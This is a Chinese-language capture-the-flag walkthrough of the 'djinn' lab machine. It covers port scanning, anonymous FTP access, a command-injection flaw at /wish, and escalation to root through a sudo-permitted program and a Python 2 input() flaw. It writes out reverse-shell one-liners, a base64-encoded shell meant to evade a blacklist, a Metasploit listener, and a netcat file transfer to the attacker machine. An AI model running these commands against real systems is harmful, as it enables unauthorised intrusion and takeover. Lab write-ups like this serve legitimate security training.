djinn

探测靶机的IP地址
arp-scan -l

使用 nmap 获取靶机端口服务等详细信息
nmap -sS -T5 -A -p- 192.168.184.133

通过 ftp 服务,使用匿名账户登录
ftp 192.168.184.133
anonymous

下载其中的文件
mget .

用 telnet 访问1337端口
telnet 192.168.184.129 1337

使用 msf 准备接收反弹shell
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.184.150
set lport 1234
exploit

使用 gobuster 对7331端口的 HTTP 服务进行爆破
gobuster dir -u http://192.168.184.133:7331/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

/wish路径下存有RCE漏洞,试图建立反弹shell失败
bash -i >& /dev/tcp/192.168.184.150/1234 0>&1
nc -e /bin/bash 192.168.184.150 1234

使用base64进行编码绕过黑名单检测
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4xNTAvMTIzNCAwPiYx | base64 -d | bash

使用 python 来获取一个标准的虚拟终端环境
python -c ‘import pty;pty.spawn(“/bin/bash”)’

读取文件/etc/passwd,发现有两个 userid 大于 500 的用户:sam 和nitish。
cat /etc/passwd

在网站源码 app.py 中发现特殊文件 /home/nitish/.dev/creds.txt,该特殊文件的内容为nitish用户的登录密码,该用户的家目录下可找到flag。

切换成 nitish 用户并直接进入家目录。
su - nitish

检查 nitish 用户的特权
sudo -l

发现 nitish 用户可以在不需要密码的情况下,以 sam 用户的身份去执行程序/usr/bin/genie
sudo -u sam /usr/bin/genie wish

依照报错提示加入 wish 参数
sudo -u sam /usr/bin/genie wish

程序无有效回显,查看该命令的帮助信息
sudo -u sam /usr/bin/genie -h

根据帮助信息,尝试获得shell和执行命令
sudo -u sam /usr/bin/genie -p /bin/sh
sudo -u sam /usr/bin/genie -e whoami

均以失败告终,使用 man 命令查看该命令的完整说明
man /usr/bin/genie

发现该程序可以通过-cmd 选项来执行命令
sudo -u sam /usr/bin/genie -cmd id

意外之喜,直接获得了一个新的 shell

查看 shell 身份,发现为 sam 用户身份
id

检查 sam 用户的特权
sudo -l

发现 sam 用户能以 root 用户身份运行程序/root/lago,但是并没有获得有效信息。
sudo /root/lago

在 sam 用户的家目录下发现可疑文件 .pyc ,准备将该文件传输回来。
查看该文件的字符串信息,可以发现这或许就是刚才那个程序的旧版本字节码文件。
strings sam/.pyc

在攻击机的另一个窗口开启监听,准备接收文件内容存入1.pyc
nc -lvp 1235 > 1.pyc

向攻击机发送文件
cat /home/sam/.pyc | nc 192.168.184.150 1235

通过观察攻击机上所接收的文件大小来判断文件是否传输完成,在传输完成后切记需要在攻击机中进行监听的窗口中停止监听服务以断开反弹shell,避免中断渗透过程。

使用工具 uncompyle2 反编译文件 1.pyc
工具 uncompyle2 的下载地址:https://github.com/wibiti/uncompyle2

在 uncompyle2 目录下安装该工具
python2 setup.py install

在 uncompyle2 所在目录下反编译 1.pyc
uncompyle2 -o 1.py 1.pyc

反编译成功后,查看1.py文件的内容,其中函数 guessit() 比较可疑,这里先产生一个 1 到 100 之间的随机整数num,然后提示用户输入数字 s,如果用户输入的数字等于这个随机整数,则获得shell。

这里有一个python2的input()函数漏洞,该函数接收用户输入且不修改输入的类型,具体描述请参看如下页面:
https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/

在这里,当用户输入 num 时,程序会认为用户输入的是变量名num,并不将其转换为数字,那么下面的判断语句就会认为是两个相同的变量在比较是否相等,那么结果为 true 。

获得 shell 后发现已经是 root 用户身份,至此提权成功。

执行 /root 目录下的脚本文件获得最终的flag
./proof.sh